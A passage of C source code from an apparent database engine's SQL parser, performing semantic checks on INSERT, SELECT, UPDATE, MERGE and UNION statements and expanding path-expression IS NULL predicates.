entity = pt_find_spec_in_statement (parser, node, t_node);
if (entity == NULL)
{
PT_ERRORmf (parser, node, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_RESOLUTION_FAILED,
t_node->info.name.original);
break;
}
if (entity->info.spec.derived_table != NULL)
{
PT_ERRORm (parser, node, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_DELETE_DERIVED_TABLE);
break;
}
t_node = t_node->next;
}
}
node = pt_semantic_type (parser, node, info);
break;
case PT_INSERT:
if (top_node && top_node->flag.cannot_prepare == 1)
{
node->flag.cannot_prepare = 1;
}
if (node->info.insert.into_var != NULL && node->info.insert.value_clauses->next != NULL)
{
er_set (ER_ERROR_SEVERITY, ARG_FILE_LINE, ER_DO_INSERT_TOO_MANY, 0);
if (!pt_has_error (parser))
{
PT_ERRORc (parser, node, db_error_string (3));
}
break;
}
if (node->info.insert.odku_assignments != NULL)
{
node = pt_check_odku_assignments (parser, node);
if (node == NULL || pt_has_error (parser))
{
break;
}
}
/* semantic check value clause for SELECT and INSERT subclauses */
if (node)
{
node = pt_semantic_type (parser, node, info);
}
/* try to coerce insert_values into types indicated by insert_attributes */
if (node)
{
pt_coerce_insert_values (parser, node);
}
if (pt_has_error (parser))
{
break;
}
if (node->info.insert.value_clauses->info.node_list.list_type != PT_IS_SUBQUERY)
{
/* Search and check sub-inserts in value list */
(void) parser_walk_tree (parser, node->info.insert.value_clauses, pt_check_sub_insert, NULL, NULL, NULL);
}
if (pt_has_error (parser))
{
break;
}
if (top_node && top_node->node_type != PT_INSERT && top_node->node_type != PT_SCOPE)
{
PT_ERRORm (parser, node, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_INS_EXPR_IN_INSERT);
}
break;
case PT_EVALUATE:
if (node)
{
node = pt_semantic_type (parser, node, info);
}
break;
case PT_METHOD_CALL:
if (node->info.method_call.call_or_expr == PT_IS_MTHD_EXPR)
{
pt_check_method (parser, node);
}
else if (node->info.method_call.call_or_expr == PT_IS_CALL_STMT)
{
/* Expressions in method calls from a CALL statement need to be typed explicitly since they are not wrapped
* in a query and are not explicitly type-checked via pt_check_method(). This is due to a bad decision which
* allowed users to refrain from fully typing methods before the advent of methods in queries. */
node->info.method_call.arg_list = pt_semantic_type (parser, node->info.method_call.arg_list, info);
node->info.method_call.on_call_target =
pt_semantic_type (parser, node->info.method_call.on_call_target, info);
}
break;
case PT_FUNCTION:
func_info_p = &node->info.function;
if (func_info_p->function_type == PT_GENERIC && (pt_length_of_list (func_info_p->arg_list) > NUM_F_GENERIC_ARGS))
{
PT_ERRORmf2 (parser, node, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_GEN_FUNC_TOO_MANY_ARGS,
func_info_p->generic_name, NUM_F_GENERIC_ARGS);
}
/* check order by for aggregate function */
if (func_info_p->function_type == PT_GROUP_CONCAT)
{
if (pt_check_group_concat_order_by (parser, node) != NO_ERROR)
{
break;
}
}
else if (func_info_p->function_type == PT_CUME_DIST || func_info_p->function_type == PT_PERCENT_RANK)
{
/* for CUME_DIST and PERCENT_RANK aggregate function */
if (pt_check_cume_dist_percent_rank_order_by (parser, node) != NO_ERROR)
{
break;
}
}
break;
case PT_UNION:
case PT_INTERSECTION:
case PT_DIFFERENCE:
if (top_node->flag.cannot_prepare == 1)
{
node->flag.cannot_prepare = 1;
}
/* semantic check {union|intersection|difference} operands */
if (pt_has_error (parser))
{
break;
}
fold_as = pt_check_union_is_foldable (parser, node);
if (fold_as != STATEMENT_SET_FOLD_NOTHING)
{
node = pt_fold_union (parser, node, fold_as);
/* don't need do the following steps */
break;
}
pt_check_into_clause (parser, node);
/* check the orderby clause if present (all 3 nodes have SAME structure) */
if (pt_check_order_by (parser, node) != NO_ERROR)
{
break; /* error */
}
node = pt_semantic_type (parser, node, info);
if (node == NULL)
{
break;
}
/* only root UNION nodes */
if (node->info.query.q.union_.is_leaf_node == false)
{
PT_NODE *attrs = NULL;
int cnt, k;
SEMAN_COMPATIBLE_INFO *cinfo = NULL;
PT_UNION_COMPATIBLE status;
/* do collation inference necessary */
attrs = pt_get_select_list (parser, node->info.query.q.union_.arg1);
cnt = pt_length_of_select_list (attrs, EXCLUDE_HIDDEN_COLUMNS);
cinfo = (SEMAN_COMPATIBLE_INFO *) malloc (cnt * sizeof (SEMAN_COMPATIBLE_INFO));
if (cinfo == NULL)
{
PT_ERRORm (parser, node, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_OUT_OF_MEMORY);
break;
}
for (k = 0; k < cnt; ++k)
{
cinfo[k].idx = -1;
cinfo[k].type_enum = PT_TYPE_NONE;
cinfo[k].prec = DB_DEFAULT_PRECISION;
cinfo[k].scale = DB_DEFAULT_SCALE;
cinfo[k].coll_infer.coll_id = LANG_SYS_COLLATION;
cinfo[k].coll_infer.codeset = LANG_SYS_CODESET;
cinfo[k].coll_infer.coerc_level = PT_COLLATION_NOT_COERC;
cinfo[k].coll_infer.can_force_cs = false;
cinfo[k].ref_att = NULL;
}
status = pt_get_select_list_coll_compat (parser, node, cinfo, cnt);
if (status == PT_UNION_INCOMP)
{
(void) pt_apply_union_select_list_collation (parser, node, cinfo, cnt);
free (cinfo);
break;
}
free (cinfo);
}
break;
case PT_SELECT:
if (top_node->flag.cannot_prepare == 1)
{
node->flag.cannot_prepare = 1;
}
if (node->info.query.flag.single_tuple == 1)
{
if (pt_length_of_select_list (node->info.query.q.select.list, EXCLUDE_HIDDEN_COLUMNS) != 1)
{
/* illegal multi-column subquery */
PT_ERRORm (parser, node, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_NOT_SINGLE_COL);
}
}
pt_check_into_clause (parser, node);
if (node->info.query.q.select.with_increment)
{
PT_NODE *select_list = node->info.query.q.select.list;
PT_NODE *hidden_list = node->info.query.q.select.with_increment;
(void) parser_append_node (hidden_list, select_list);
node->info.query.q.select.with_increment = NULL;
}
if (pt_has_aggregate (parser, node))
{
PT_AGG_CHECK_INFO info;
PT_NODE *r;
QFILE_TUPLE_VALUE_POSITION pos;
PT_NODE *referred_node;
int max_position;
/* STEP 1: init agg info */
info.from = node->info.query.q.select.from;
info.depth = 0;
info.group_by = node->info.query.q.select.group_by;
max_position = pt_length_of_select_list (node->info.query.q.select.list, EXCLUDE_HIDDEN_COLUMNS);
for (t_node = info.group_by; t_node; t_node = t_node->next)
{
r = t_node->info.sort_spec.expr;
if (r == NULL)
{
continue;
}
/*
* If a position is specified on group by clause,
* we should check its range.
*/
if (r->node_type == PT_VALUE && r->alias_print == NULL)
{
if (r->type_enum != PT_TYPE_INTEGER)
{
PT_ERRORm (parser, r, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_SORT_SPEC_WANT_NUM);
continue;
}
else if (r->info.value.data_value.i == 0 || r->info.value.data_value.i > max_position)
{
PT_ERRORmf (parser, r, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_SORT_SPEC_RANGE_ERR,
r->info.value.data_value.i);
continue;
}
}
else if (r->node_type == PT_HOST_VAR)
{
PT_ERRORmf (parser, r, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_NO_GROUPBY_ALLOWED,
pt_short_print (parser, r));
continue;
}
/* check for after group by position */
pt_to_pos_descr (parser, &pos, r, node, &referred_node);
if (pos.pos_no > 0)
{
/* set after group by position num, domain info */
t_node->info.sort_spec.pos_descr = pos;
}
/*
* If there is a node referred by the position,
* we should rewrite the position to real name or expression
* regardless of pos.pos_no.
*/
if (referred_node != NULL)
{
t_node->info.sort_spec.expr = parser_copy_tree (parser, referred_node);
parser_free_node (parser, r);
}
}
/* STEP 2: check that grouped things are single valued */
if (prm_get_bool_value (PRM_ID_ONLY_FULL_GROUP_BY) || node->info.query.q.select.group_by == NULL)
{
(void) parser_walk_tree (parser, node->info.query.q.select.list, pt_check_single_valued_node, &info,
pt_check_single_valued_node_post, &info);
(void) parser_walk_tree (parser, node->info.query.q.select.having, pt_check_single_valued_node, &info,
pt_check_single_valued_node_post, &info);
}
}
if (pt_has_analytic (parser, node))
{
(void) parser_walk_tree (parser, node->info.query.q.select.list, pt_check_analytic_function, (void *) node,
NULL, NULL);
}
/* check the order by */
if (pt_check_order_by (parser, node) != NO_ERROR)
{
break; /* error */
}
if (node->info.query.q.select.group_by != NULL && node->info.query.q.select.group_by->flag.with_rollup)
{
bool has_gbynum = false;
/* we do not allow GROUP BY ... WITH ROLLUP and GROUPBY_NUM () */
(void) parser_walk_tree (parser, node->info.query.q.select.having, pt_check_groupbynum_pre, NULL,
pt_check_groupbynum_post, (void *) &has_gbynum);
if (has_gbynum)
{
PT_ERRORm (parser, node, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_CANNOT_USE_GROUPBYNUM_WITH_ROLLUP);
}
}
if (node->info.query.q.select.connect_by)
{
bool has_level_greater, has_level_lesser;
int disallow_ops[] = {
2, /* number of operators */
PT_CONNECT_BY_ISCYCLE,
PT_CONNECT_BY_ISLEAF,
};
(void) parser_walk_tree (parser, node->info.query.q.select.connect_by, pt_expr_disallow_op_pre, disallow_ops,
NULL, NULL);
/* check if the LEVEL of connect by is limited */
pt_check_level_expr (parser, node->info.query.q.select.connect_by, &has_level_greater, &has_level_lesser);
if (has_level_lesser)
{
/* override checking cycles to be ignored */
if (node->info.query.q.select.check_cycles == CONNECT_BY_CYCLES_NONE)
{
node->info.query.q.select.check_cycles = CONNECT_BY_CYCLES_NONE_IGNORE;
}
else
{
node->info.query.q.select.check_cycles = CONNECT_BY_CYCLES_IGNORE;
}
}
}
entity = node->info.query.q.select.from;
if (entity != NULL && entity->info.spec.derived_table_type == PT_IS_SHOWSTMT
&& (derived_table = entity->info.spec.derived_table) != NULL && derived_table->node_type == PT_SHOWSTMT)
{
SHOWSTMT_TYPE show_type;
SHOW_SEMANTIC_CHECK_FUNC check_func = NULL;
show_type = derived_table->info.showstmt.show_type;
check_func = showstmt_get_metadata (show_type)->semantic_check_func;
if (check_func != NULL)
{
node = (*check_func) (parser, node);
}
}
/* check for session variable assignments */
{
int arg[2];
arg[0] = PT_DEFINE_VARIABLE; /* type */
arg[1] = 0; /* found */
(void) parser_walk_tree (parser, node->info.query.q.select.list, pt_find_op_type_pre, arg, NULL, NULL);
if (arg[1]) /* an assignment was found */
{
PT_SELECT_INFO_SET_FLAG (node, PT_SELECT_INFO_DISABLE_LOOSE_SCAN);
}
}
node = pt_semantic_type (parser, node, info);
break;
case PT_DO:
node = pt_semantic_type (parser, node, info);
break;
case PT_SET_XACTION:
/* Check for multiple isolation settings and multiple timeout settings */
(void) pt_check_xaction_list (parser, node->info.set_xaction.xaction_modes);
/* Check for mismatch of schema and instance isolation levels */
(void) parser_walk_tree (parser, node->info.set_xaction.xaction_modes, pt_check_isolation_lvl, NULL, NULL, NULL);
break;
case PT_UPDATE:
if (top_node->flag.cannot_prepare == 1)
{
node->flag.cannot_prepare = 1;
}
if (pt_has_aggregate (parser, node))
{
PT_ERRORm (parser, node, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_UPDATE_NO_AGGREGATE);
}
pt_check_assignments (parser, node);
pt_no_double_updates (parser, node);
/* cannot update derived tables */
pt_init_assignments_helper (parser, &ea, node->info.update.assignment);
while ((t_node = pt_get_next_assignment (&ea)) != NULL)
{
entity = pt_find_spec_in_statement (parser, node, t_node);
if (entity == NULL)
{
PT_ERRORmf (parser, node, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_RESOLUTION_FAILED,
t_node->info.name.original);
break;
}
if (entity->info.spec.derived_table != NULL || PT_SPEC_IS_CTE (entity))
{
PT_ERRORm (parser, node, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_UPDATE_DERIVED_TABLE);
break;
}
/* Update of views hierarchies not allowed */
if (db_is_vclass (entity->info.spec.flat_entity_list->info.name.db_object) > 0
&& entity->info.spec.only_all == PT_ALL)
{
PT_ERRORmf (parser, node, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_UPDATE_SUBVCLASS_NOT_ALLOWED,
t_node->info.name.original);
break;
}
}
/* Replace left to right attribute references in assignments before doing semantic check. The type checking phase
* might have to perform some coercions on the replaced names. */
node = pt_replace_names_in_update_values (parser, node);
node = pt_semantic_type (parser, node, info);
if (node != NULL && node->info.update.order_by != NULL)
{
PT_NODE *order;
for (order = node->info.update.order_by; order != NULL; order = order->next)
{
PT_NODE *r = order->info.sort_spec.expr;
if (r != NULL && r->node_type == PT_VALUE)
{
PT_ERRORmf (parser, r, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_NO_ORDERBY_ALLOWED,
pt_short_print (parser, r));
break;
}
}
}
break;
case PT_SET_SESSION_VARIABLES:
node = pt_semantic_type (parser, node, info);
break;
case PT_EXPR:
if (node->info.expr.op == PT_CAST)
{
node = pt_semantic_type (parser, node, info);
if (node == NULL)
{
break;
}
if (node->node_type == PT_EXPR && node->info.expr.op == PT_CAST)
{
(void) pt_check_cast_op (parser, node);
}
}
/* check instnum compatibility */
if (pt_is_instnum (node) && PT_EXPR_INFO_IS_FLAGED (node, PT_EXPR_INFO_INSTNUM_NC))
{
PT_ERRORmf2 (parser, node, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_INSTNUM_COMPATIBILITY_ERR,
"INST_NUM() or ROWNUM", "INST_NUM() or ROWNUM");
}
/* check default function */
if (node->info.expr.op == PT_DEFAULTF)
{
pt_check_defaultf (parser, node);
}
break;
case PT_SPEC:
{
PT_NODE *derived_table, *a, *b, *select_list;
int attr_cnt, col_cnt, i, j;
/* check ambiguity in as_attr_list of derived-query */
for (a = node->info.spec.as_attr_list; a && !pt_has_error (parser); a = a->next)
{
for (b = a->next; b && !pt_has_error (parser); b = b->next)
{
if (a->node_type == PT_NAME && b->node_type == PT_NAME
&& !pt_str_compare (a->info.name.original, b->info.name.original, CASE_INSENSITIVE))
{
PT_ERRORmf (parser, b, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_AMBIGUOUS_REF_TO,
b->info.name.original);
}
}
}
/* check hidden column of subquery-derived table */
if (!pt_has_error (parser) && node->info.spec.derived_table_type == PT_IS_SUBQUERY
&& (derived_table = node->info.spec.derived_table) && derived_table->node_type == PT_SELECT
&& derived_table->info.query.order_by && (select_list = pt_get_select_list (parser, derived_table)))
{
attr_cnt = pt_length_of_list (node->info.spec.as_attr_list);
col_cnt = pt_length_of_select_list (select_list, INCLUDE_HIDDEN_COLUMNS);
if (col_cnt - attr_cnt > 0)
{
/* make hidden column attrs */
for (i = attr_cnt, j = attr_cnt; i < col_cnt; i++)
{
t_node = pt_name (parser, mq_generate_name (parser, "ha", &j));
node->info.spec.as_attr_list = parser_append_node (t_node, node->info.spec.as_attr_list);
}
}
}
}
break;
case PT_NAME:
if (PT_IS_OID_NAME (node) && !PT_NAME_INFO_IS_FLAGED (node, PT_NAME_INFO_GENERATED_OID)
&& !PT_NAME_INFO_IS_FLAGED (node, PT_NAME_ALLOW_REUSABLE_OID))
{
PT_NODE *data_type = node->data_type;
if (data_type != NULL && data_type->type_enum == PT_TYPE_OBJECT)
{
const char *name = data_type->info.data_type.entity->info.name.original;
DB_OBJECT *class_obj = db_find_class (name);
if (class_obj != NULL && sm_is_reuse_oid_class (class_obj))
{
PT_ERRORmf (parser, node, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_NON_REFERABLE_VIOLATION, name);
}
}
}
break;
case PT_MERGE:
if (pt_has_error (parser))
{
break;
}
if (top_node->flag.cannot_prepare == 1)
{
node->flag.cannot_prepare = 1;
}
if (pt_has_aggregate (parser, node))
{
PT_ERRORm (parser, node, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_WANT_NO_AGGREGATE);
break;
}
pt_check_assignments (parser, node);
pt_no_double_updates (parser, node);
/* check destination derived table */
entity = node->info.merge.into;
if (entity->info.spec.derived_table != NULL)
{
PT_ERRORm (parser, entity, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_MERGE_DERIVED_TABLE);
break;
}
/* check update spec */
pt_init_assignments_helper (parser, &ea, node->info.merge.update.assignment);
while ((t_node = pt_get_next_assignment (&ea)) != NULL)
{
entity = pt_find_spec_in_statement (parser, node, t_node);
if (entity == NULL)
{
PT_ERRORmf (parser, node, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_RESOLUTION_FAILED,
t_node->info.name.original);
break;
}
/* update assign spec should be merge target */
if (entity->info.spec.id != node->info.merge.into->info.spec.id)
{
PT_ERRORm (parser, t_node, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_MERGE_CANT_AFFECT_SOURCE_TABLE);
break;
}
}
if (pt_has_error (parser))
{
break;
}
if (node->info.merge.insert.value_clauses)
{
if (node->info.merge.insert.value_clauses->next)
{
er_set (ER_ERROR_SEVERITY, ARG_FILE_LINE, ER_DO_INSERT_TOO_MANY, 0);
if (!pt_has_error (parser))
{
PT_ERRORc (parser, node, db_error_string (3));
}
break;
}
/* check insert attributes list */
for (entity = node->info.merge.insert.attr_list; entity; entity = entity->next)
{
if (entity->info.name.spec_id != node->info.merge.into->info.spec.id)
{
PT_ERRORm (parser, entity, MSGCAT_SET_PARSER_SEMANTIC,
MSGCAT_SEMANTIC_MERGE_CANT_AFFECT_SOURCE_TABLE);
break;
}
}
if (pt_has_error (parser))
{
break;
}
}
node = pt_semantic_type (parser, node, info);
/* try to coerce insert_values into types indicated by insert_attributes */
if (node)
{
pt_coerce_insert_values (parser, node);
}
break;
case PT_JSON_TABLE:
if (pt_has_error (parser))
{
break;
}
if (!pt_is_json_doc_type (node->info.json_table_info.expr->type_enum))
{
PT_ERRORmf (parser, node, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_WANT_TYPE,
pt_show_type_enum (PT_TYPE_JSON));
}
if (pt_check_json_table_node (parser, node->info.json_table_info.tree))
{
ASSERT_ERROR ();
PT_ERRORc (parser, node, er_msg ());
}
break;
case PT_DBLINK_TABLE:
case PT_DBLINK_TABLE_DML:
if (pt_has_error (parser))
{
break;
}
break;
default: /* other node types */
break;
}
/* Select Aliasing semantic checking of select aliasing, check if it is zero-length string, i.e. "" Only appropriate
* PT_NODE to be check will have 'alias' field as not NULL pointer because the initialized value of 'alias' is NULL
* pointer. So it is safe to do semantic checking of aliasing out of the scope of above 'switch' statement and
* without considering type of the PT_NODE. */
if (node && node->alias_print && *(node->alias_print) == '\0')
{
PT_ERRORmf (parser, node, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_IS_NOT_DEFINED, "\"\"");
}
/* restore list link, if any */
if (node)
{
node->next = next;
}
if (pt_has_error (parser))
{
if (node)
{
pt_register_orphan (parser, node);
}
else
{
pt_register_orphan (parser, orig);
}
return NULL;
}
else
{
return node;
}
}
/*
* pt_gen_isnull_preds () - Construct the IS NULL disjuncts for the expanded
* list of path segments
* return:
* parser(in):
* pred(in):
* chain(in):
*/
static PT_NODE *
pt_gen_isnull_preds (PARSER_CONTEXT * parser, PT_NODE * pred, PT_CHAIN_INFO * chain)
{
PT_NODE *disj, *arg1, *next_spec, *conj, *new_path, *new_expr;
PT_NODE *new_pred = NULL;
UINTPTR next_spec_id;
int i;
/* The algorithm here is that we will incrementally build each new "IS NULL" disjunct. Each successive disjunct will
* contain the previous path expression extended with the next path segment. We will use arg1 to build each
* successive path expression. new_pred will collect the new disjuncts as we build them. */
arg1 = NULL;
for (i = 0; i < chain->chain_length - 1; i++)
{
/* Remember that the chain was constructed from the end of the path expression to the beginning. Thus, in path
* expr a.b.c.d is null, segment d is in chain[0], c is in chain[1], b is in chain[2], and a is in chain[3].
* Also, by convention, the path conjuncts implied by a path expression segment are hung off the path entity that
* is generated by the path expression segment. In our case, this is the next spec in the chain. */
next_spec = chain->chain_ptr[chain->chain_length - i - 2];
next_spec_id = next_spec->info.spec.id;
conj = next_spec->info.spec.path_conjuncts;
/* check for structural errors */
if ((conj->node_type != PT_EXPR) || (!conj->info.expr.arg1) || (!conj->info.expr.arg2)
|| (conj->info.expr.arg1->node_type != PT_NAME) || (conj->info.expr.arg2->node_type != PT_NAME)
|| (conj->info.expr.arg2->info.name.spec_id != next_spec_id))
{
goto error;
}
if (arg1 == NULL)
{
/* This is the first segment in the path expression. In this case we want to use the exposed name of the
* spec found in the last chain slot. (i should be 0 here) */
arg1 = parser_copy_tree (parser, conj->info.expr.arg1);
if (arg1 == NULL)
{
goto out_of_mem;
}
}
else
{
PT_NODE *arg2;
/* we are building a new segment on the previous path expr */
if (((new_path = parser_new_node (parser, PT_DOT_)) == NULL)
|| ((arg2 = parser_copy_tree (parser, conj->info.expr.arg1)) == NULL))
{
goto out_of_mem;
}
/* We need to null the resolved field of arg2 according to path expression conventions. This is necessary
* since we copied part of the conjunct which is fully resolved. */
arg2->info.name.resolved = NULL;
/* attach both arguments to the new path segment */
new_path->info.expr.arg1 = parser_copy_tree (parser, arg1);
if (new_path->info.expr.arg1 == NULL)
{
goto out_of_mem;
}
new_path->info.expr.arg2 = arg2;
/* attach the data type */
new_path->line_number = pred->line_number;
new_path->column_number = pred->column_number;
new_path->type_enum = arg2->type_enum;
if (arg2->data_type && ((new_path->data_type = parser_copy_tree_list (parser, arg2->data_type)) == NULL))
{
goto out_of_mem;
}
/* Maintain the loop invariant that arg1 always is the path expression that we build on. */
arg1 = new_path;
}
/* Link it in with a disjunct. */
disj = parser_new_node (parser, PT_EXPR);
if (disj == NULL)
{
goto out_of_mem;
}
disj->line_number = pred->line_number;
disj->column_number = pred->column_number;
disj->type_enum = PT_TYPE_LOGICAL;
disj->info.expr.op = PT_IS_NULL;
disj->info.expr.arg1 = arg1;
if (new_pred == NULL)
{
/* Maintain the loop invariant that new_pred contains the predicate built so far. */
new_pred = disj;
}
else
{
new_expr = parser_new_node (parser, PT_EXPR);
if (new_expr == NULL)
{
goto out_of_mem;
}
new_expr->line_number = pred->line_number;
new_expr->column_number = pred->column_number;
new_expr->type_enum = PT_TYPE_LOGICAL;
new_expr->info.expr.op = PT_OR;
new_expr->info.expr.arg1 = new_pred;
new_expr->info.expr.arg2 = disj;
/* Maintain the loop invariant that new_pred contains the predicate built so far. */
new_pred = new_expr;
}
}
new_expr = parser_new_node (parser, PT_EXPR);
if (new_expr == NULL)
{
goto out_of_mem;
}
new_expr->line_number = pred->line_number;
new_expr->column_number = pred->column_number;
new_expr->type_enum = PT_TYPE_LOGICAL;
new_expr->info.expr.op = PT_OR;
new_expr->info.expr.arg1 = pred;
new_expr->info.expr.arg2 = new_pred;
new_expr->info.expr.paren_type = 1;
return new_expr;
out_of_mem:
PT_ERRORm (parser, pred, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_OUT_OF_MEMORY);
return NULL;
error:
PT_INTERNAL_ERROR (parser, "resolution");
return NULL;
}
/*
* pt_path_chain () - Construct the list of path entities that are used
* in a path expression
* return:
* parser(in):
* node(in):
* arg(in):
* continue_walk(in):
*/
static PT_NODE *
pt_path_chain (PARSER_CONTEXT * parser, PT_NODE * node, void *arg, int *continue_walk)
{
PT_CHAIN_INFO *chain = (PT_CHAIN_INFO *) arg;
PT_NODE *tmp;
switch (node->node_type)
{
case PT_SPEC:
if (node->info.spec.id == (UINTPTR) chain->spec_id)
{
/* This is the spec to which the final path segment resolves. Start gathering the spec chain. */
chain->chain_ptr[0] = node;
chain->chain_length = 1;
}
else if (chain->chain_length > 0)
{
/* This indicates that we are currently walking up the chain. Need to check if this spec is the parent of the
* last spec. */
for (tmp = node->info.spec.path_entities; tmp != NULL; tmp = tmp->next)
{
if (tmp == chain->chain_ptr[chain->chain_length - 1])
{
/* This is the parent, add it to the list. First check if we have space. */
if (chain->chain_length == chain->chain_size)
{
/* Need to expand, just double the size. */
chain->chain_size *= 2;
if (chain->chain_ptr == chain->chain)
{
/* This will be the first time we need to alloc. */
chain->chain_ptr = (PT_NODE **) malloc (chain->chain_size * sizeof (PT_NODE *));
if (chain->chain_ptr == NULL)
{
goto out_of_mem;
}
memcpy (chain->chain_ptr, &chain->chain, (chain->chain_length * sizeof (PT_NODE *)));
}
else
{
PT_NODE **tmp;
tmp = (PT_NODE **) realloc (chain->chain_ptr, (chain->chain_size * sizeof (PT_NODE *)));
if (tmp == NULL)
{
goto out_of_mem;
}
chain->chain_ptr = tmp;
}
}
/* Add in the parent. */
chain->chain_ptr[chain->chain_length] = node;
chain->chain_length++;
}
}
}
break;
case PT_SELECT:
case PT_DELETE:
case PT_UPDATE:
case PT_MERGE:
if (chain->chain_length > 0)
{
/* We are about to leave the scope where the chain was found, we can safely stop the walk since we must have
* found the whole chain. */
*continue_walk = PT_STOP_WALK;
}
break;
default:
break;
}
return node;
out_of_mem:
PT_ERRORm (parser, node, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_OUT_OF_MEMORY);
*continue_walk = PT_STOP_WALK;
return node;
}
/*
* pt_expand_isnull_preds_helper () - expand path_expr "IS NULL" predicates to
* include any path segment being NULL
* return:
* parser(in):
* node(in):
* arg(in):
* continue_walk(in):
*/
static PT_NODE *
pt_expand_isnull_preds_helper (PARSER_CONTEXT * parser, PT_NODE * node, void *arg, int *continue_walk)
{
PT_NODE *statement = (PT_NODE *) arg;
PT_CHAIN_INFO chain_info;
if (node->node_type == PT_EXPR && node->info.expr.op == PT_IS_NULL && node->info.expr.arg1->node_type == PT_DOT_)
{
chain_info.chain_ptr = chain_info.chain;
chain_info.chain_size = PT_CHAIN_LENGTH;
chain_info.chain_length = 0;
chain_info.spec_id = node->info.expr.arg1->info.dot.arg2->info.name.spec_id;
(void) parser_walk_tree (parser, statement, NULL, NULL, pt_path_chain, &chain_info);
/* now that we have the chain, we need to construct the new "IS NULL" disjuncts. */
if (!pt_has_error (parser) && chain_info.chain_length > 1)
{
node = pt_gen_isnull_preds (parser, node, &chain_info);
}
/* Free any allocated memory for the spec chain. */
if (chain_info.chain_ptr != chain_info.chain)
{
free_and_init (chain_info.chain_ptr);
}
}
return node;
}
/*
* pt_expand_isnull_preds () - expand path_expr "IS NULL" predicates to
* include any path segment being NULL
* return:
* parser(in):
* node(in):
* arg(in):
* continue_walk(in):
*/
static PT_NODE *
pt_expand_isnull_preds (PARSER_CONTEXT * parser, PT_NODE * node, void *arg, int *continue_walk)
{
PT_NODE *statement = (PT_NODE *) arg;
PT_NODE **pred = NULL;
switch (node->node_type)
{
case PT_UPDATE:
pred = &node->info.update.search_cond;
break;
case PT_DELETE:
pred = &node->info.delete_.search_cond;
break;
case PT_SELECT:
pred = &node->info.query.q.select.where;
break;
case PT_MERGE:
pred = &node->info.merge.insert.search_cond;
if (pred)
{
*pred = parser_walk_tree (parser, *pred, NULL, NULL, pt_expand_isnull_preds_helper, statement);
}
pred = &node->info.merge.update.search_cond;
if (pred)
{
*pred = parser_walk_tree (parser, *pred, NULL, NULL, pt_expand_isnull_preds_helper, statement);
}
pred = &node->info.merge.update.del_search_cond;
if (pred)
{
*pred = parser_walk_tree (parser, *pred, NULL, NULL, pt_expand_isnull_preds_helper, statement);
}
pred = &node->info.merge.search_cond;
break;
default:
break;
}
if (pred)
{
*pred = parser_walk_tree (parser, *pred, NULL, NULL, pt_expand_isnull_preds_helper, statement);
}
return node;
}
/*
* pt_check_and_replace_hostvar () -
* return:
* parser(in):
* node(in):
* arg(in):
* continue_walk(in/out):
*/
static PT_NODE *
pt_check_and_replace_hostvar (PARSER_CONTEXT * parser, PT_NODE * node, void *arg, int *continue_walk)
{
PT_NODE *value;
DB_VALUE *dbval;
DB_TYPE type;
int *check = (int *) arg;
/* do not replace path expression */
if (pt_is_dot_node (node))
{
if (pt_is_input_parameter (node->info.dot.arg1) || pt_is_input_parameter (node->info.dot.arg2))
{
*check = 1; /* this statement cannot be prepared */
}
*continue_walk = PT_LIST_WALK;
return node;
}
/* method check */
if (pt_is_method_call (node))
{
*check = 1; /* this statement cannot be prepared */
return node;
}
/* replace input host var/parameter with its value if given */
if ((pt_is_input_hostvar (node) && parser->host_var_count > node->info.host_var.index
&& parser->flag.set_host_var == 1) || pt_is_input_parameter (node))
{
type = pt_node_to_db_type (node);
if (type == DB_TYPE_OBJECT || type == DB_TYPE_VOBJ || TP_IS_SET_TYPE (type))
{
if (pt_is_input_parameter (node))
{
*check = 1; /* this statement cannot be prepared */
}
return node;
}
dbval = pt_value_to_db (parser, node);
if (dbval && !pr_is_set_type (db_value_type (dbval)))
{
value = pt_dbval_to_value (parser, dbval);
if (value)
{
if (PT_HAS_COLLATION (value->type_enum))
{
value->info.value.print_charset = true;
value->info.value.print_collation = true;
value->info.value.is_collate_allowed = true;
}
if (pt_is_input_hostvar (node))
{
/* save host_var index */
value->info.value.host_var_index = node->info.host_var.index;
}
PT_NODE_MOVE_NUMBER_OUTERLINK (value, node);
parser_free_tree (parser, node);
node = value;
}
}
}
return node;
}
/*
* pt_check_with_clause () -
* do semantic checks on "create entity" has "with clause"
* this function is called from pt_check_create_entity only
* so, not needed to check NULL for node
*
* return: NULL if no errors, attribute of CTE otherwise
* node(in): a "with" statement that needs to be checked.
*/
static PT_NODE *
pt_check_with_clause (PARSER_CONTEXT * parser, PT_NODE * node)
{
PT_NODE *cte = node->info.query.with->info.with_clause.cte_definition_list;
if (cte)
{
PT_NODE *cte_part;
PT_NODE *cte_attr;
if (cte->info.cte.as_attr_list == NULL)
{
cte_part = cte->info.cte.non_recursive_part;
if (cte_part)
{
for (cte_attr = pt_get_select_list (parser, cte_part); cte_attr != NULL; cte_attr = cte_attr->next)
{
